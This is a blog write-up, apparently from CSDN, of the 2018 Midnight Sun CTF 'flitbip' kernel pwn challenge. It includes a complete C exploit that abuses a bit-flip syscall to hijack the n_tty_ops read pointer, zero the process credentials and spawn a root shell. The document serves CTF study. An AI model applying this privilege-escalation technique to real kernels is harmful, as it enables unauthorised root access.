linux内核pwn,Linux内核pwn——劫持n_tty_ops指针

172250

0x001 前言

以往多数的kernel pwn题都是基于内核扩展模块的漏洞分析,今天我们来看2018年Midnight Sun CTF一个无*.ko内核模块的题。

题目下载:

0x002 干掉定时logout

由于内核运行一断时间后便会退出,需要解开文件系统,做一定修改

mkdir core

mv ./core.cpio ./core/

cd core

cpio -idmv < initrd

rm initrd

一般的,我们会去看init文件,但貌似并没有问题

172250

最后,我找到了/home/flitbip下的.profile文件,将第1、2行注释掉

172250

为了后续调试方便,我在根目录新建一个tmp文件夹,在init作如下改动,让启动的内核具有root权限

172250

重新打包

find . -print0 | cpio --null -ov --format=newc > core.cpio

mv ./core.cpio ..

rm -rf ../core

0x003 分析

由init看得出来,内核启动过程并未加载任何与题目相关的内核扩展模块,但src目录下有一个flitbip.c文件

172250

这里定义了一个系统调用(系统调用号为333),会将参数addr的第bit位翻转

留意到flit_cout必须要小于MAXFLIT = 1,否则便会退出

172250

绕过方法:

flit_cout是有符号长整型,调用一次系统调用flitbip,将flit_cout最高位翻转,此时flit_cout为负数。

long flitbip(long *addr, long bit)

{

__asm__("mov rax, 333;"

"syscall;"

);

}

int main()

{

...

flitbip(flit_count, 63);

...

}

先调试看看是否已经绕过,用extract-vmlinux提取内核执行文件

172250

当我看到这样的情况,我是一脸懵逼的

172250

估计是generic版的内核,好吧…只能去/proc/kallsyms找了

/tmp # cat /proc/kallsyms | grep flit_count

ffffffff818f4f78 B flit_count

EXP执行前

172250

EXP执行后,看样子flit_count翻转成负数了

172250

下面考虑如何提权:

内核中存在n_tty_ops这个全局指针,其指向的这片地存储着许多函数指针,我们想办法将该处的函数指针改成我们root函数的地址,再触发该函数。

172250

n_tty_ops指向的函数指针

172250

最后,我们利用含有漏洞333号系统调用,将n_tty_read劫持成root函数提权,n_tty_read存储在*n_tty_ops + 0x30

0x004 ROOT

由于没有开aslr,直接将n_tty_ops等地址写死即可

完整的EXP

// gcc solved.c -static -masm=intel -g -o solved

#include

#include

unsigned long *flit_count = 0xffffffff818f4f78;

unsigned long *n_tty_read = 0xffffffff810c8510;

unsigned long *n_tty_ops = 0xffffffff8183e320;

unsigned long *current_task = 0xffffffff8182e040;

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_status()

{

__asm__("mov %0, cs;"

"mov %1, ss;"

"mov %2, rsp;"

"pushfq;"

"popq %3;"

:"=r"(user_cs),"=r"(user_ss),"=r"(user_sp),"=r"(user_rflags)

:

:"memory"

);

puts("[*]status has been saved.");

}

void binsh()

{

if(!getuid())

{

system("/bin/sh");

}

else

{

puts("[*]spawn shell error!");

}

exit(0);

}

long flitbip(long *addr, long bit)

{

__asm__("mov rax, 333;"

"syscall;"

);

}

void root()

{

int *cred = *(unsigned long *)((char *)*current_task + 0x3c0);

for(int i = 1; i < 9; i++)

cred[i] = 0;

*(unsigned long *)((char *)n_tty_ops + 0x30) = (unsigned long)n_tty_read;

__asm__("swapgs;"

"mov rax, %0;"

"push rax;"

"mov rax, %1;"

"push rax;"

"mov rax, %2;"

"push rax;"

"mov rax, %3;"

"push rax;"

"mov rax, %4;"

"push rax;"

"iretq;"

:

:"r"(user_ss),"r"(user_sp),"r"(user_rflags),"r"(user_cs),"r"(binsh)

:"memory"

);

}

int main()

{

save_status();

printf("user_sp addr: %pn", user_sp);

flitbip(flit_count, 63);

unsigned long xor = (unsigned long)root ^ (unsigned long)n_tty_read;

printf("root addr: %lxn", root);

printf("root xor: %lxn", xor);

for(unsigned long i = 0; i < 64; i++)

{

if(xor & (1ULL << (i)))

flitbip((char *)n_tty_ops + 0x30, i);

}

scanf("%c", user_sp);

while(1);

return 0;

}

root~

172250

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值